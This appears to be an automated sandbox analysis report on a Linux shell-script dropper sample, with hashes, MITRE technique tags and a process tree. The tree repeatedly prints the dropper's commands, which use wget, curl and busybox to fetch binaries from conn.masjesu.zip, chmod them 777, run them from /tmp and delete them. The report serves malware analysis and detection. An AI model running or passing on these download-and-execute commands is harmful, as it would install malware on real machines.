2a4c10895a0ff94a31139e90825fb5e99a2bef069f1da9d91eda8f2c1f867494

Analysis

max time kernel
106s
max time network
108s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/11/2024, 01:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5.sh
Size 10KB
Sample241107-ca2qmstapp
SHA256 2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5
MD5 f21182e2c5ae40466b330b984fb89f98
SHA1 bb4469a0a487754bbdec0956fb61649d33e429c0
SHA512 926b62cd785c624315ff63789827c8e0e5649c685d1b541928d0de3135de76516d3e0a9cfc02f5259b6a11f4276ddb1483423fdf97d673fcf2ef4b4e16f59fcf
SSDEEP 96:YRKRCRb8oL7X9sOFlQLxCpmxtLwsBmpBqUb37SqULwOTwwOTswOTEOTTOTTOThMC:/LdXkUg1CSYGNDUg1CSFe
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
922	chmod
1020	chmod
992	chmod
901	chmod
915	chmod
929	chmod
957	chmod
753	chmod
782	chmod
908	chmod
1006	chmod
964	chmod
971	chmod
760	chmod
814	chmod
829	chmod
894	chmod
887	chmod
936	chmod
943	chmod
978	chmod
880	chmod
985	chmod
999	chmod
1013	chmod
838	chmod
867	chmod
950	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
989	curl
1010	curl
743	curl
826	curl
852	curl
926	curl
953	wget
968	curl
1002	wget
751	busybox
777	busybox
925	wget
935	busybox
946	wget
960	wget
981	wget
788	wget
820	wget
828	busybox
912	curl
956	busybox
974	wget
1009	wget
1017	curl
797	curl
844	wget
877	curl
928	busybox
972	E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
988	wget
905	curl
756	wget
893	busybox
963	busybox
879	busybox
897	wget
932	wget
949	busybox
1019	busybox
764	curl
900	busybox
977	busybox
984	busybox
991	busybox
832	wget
918	wget
939	wget
1005	busybox
954	curl
967	wget
726	wget
763	wget
891	curl
898	curl
921	busybox
947	curl
998	busybox
862	busybox
970	busybox
982	curl
996	curl
1003	curl
757	curl
810	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	curl
File opened for modification	/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	curl
File opened for modification	/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	curl
File opened for modification	/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	curl
File opened for modification	/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	curl
File opened for modification	/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	curl
File opened for modification	/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	curl
File opened for modification	/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	curl
File opened for modification	/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	curl
File opened for modification	/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	curl
File opened for modification	/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	curl
File opened for modification	/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	curl
File opened for modification	/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	curl
File opened for modification	/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	curl
File opened for modification	/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	curl
File opened for modification	/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	curl
File opened for modification	/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	curl
File opened for modification	/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	curl
File opened for modification	/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	curl
File opened for modification	/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	curl
File opened for modification	/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	curl
File opened for modification	/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	curl
File opened for modification	/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	curl
File opened for modification	/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	curl
File opened for modification	/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	curl
File opened for modification	/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	curl
File opened for modification	/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	curl
File opened for modification	/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	curl

/tmp/2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5.sh
/tmp/2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5.sh
1⤵
PID:720
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:723
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:726
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/chmod
  chmod 777 Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  ./Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  PID:755
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - System Network Configuration Discovery
  PID:756
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  PID:759
- /bin/chmod
  chmod 777 V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  ./V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  PID:762
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - System Network Configuration Discovery
  PID:763
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - System Network Configuration Discovery
  PID:777
- /bin/chmod
  chmod 777 Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  ./Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  PID:787
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - System Network Configuration Discovery
  PID:788
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - System Network Configuration Discovery
  PID:810
- /bin/chmod
  chmod 777 qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  ./qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  PID:819
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - System Network Configuration Discovery
  PID:820
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - System Network Configuration Discovery
  PID:828
- /bin/chmod
  chmod 777 Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  ./Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  PID:831
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - System Network Configuration Discovery
  PID:832
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  PID:835
- /bin/chmod
  chmod 777 W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  ./W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  PID:842
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:844
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/chmod
  chmod 777 E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  ./E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/chmod
  chmod 777 MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  ./MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  PID:886
- /bin/chmod
  chmod 777 EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  ./EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  ./tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  ./fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  PID:903
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:907
- /bin/chmod
  chmod 777 U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  ./U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:910
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:914
- /bin/chmod
  chmod 777 Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  ./Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:917
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - System Network Configuration Discovery
  PID:921
- /bin/chmod
  chmod 777 XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  ./XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  PID:924
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:925
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/chmod
  chmod 777 Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  ./Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  PID:931
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - System Network Configuration Discovery
  PID:932
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - System Network Configuration Discovery
  PID:935
- /bin/chmod
  chmod 777 V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  ./V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  PID:938
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  PID:942
- /bin/chmod
  chmod 777 Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  ./Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  PID:945
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - System Network Configuration Discovery
  PID:949
- /bin/chmod
  chmod 777 qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  ./qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  PID:952
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - System Network Configuration Discovery
  PID:956
- /bin/chmod
  chmod 777 Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  ./Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - System Network Configuration Discovery
  PID:963
- /bin/chmod
  chmod 777 W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  ./W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:970
- /bin/chmod
  chmod 777 E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  ./E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:972
- /bin/rm
  rm E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  PID:973
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - System Network Configuration Discovery
  PID:977
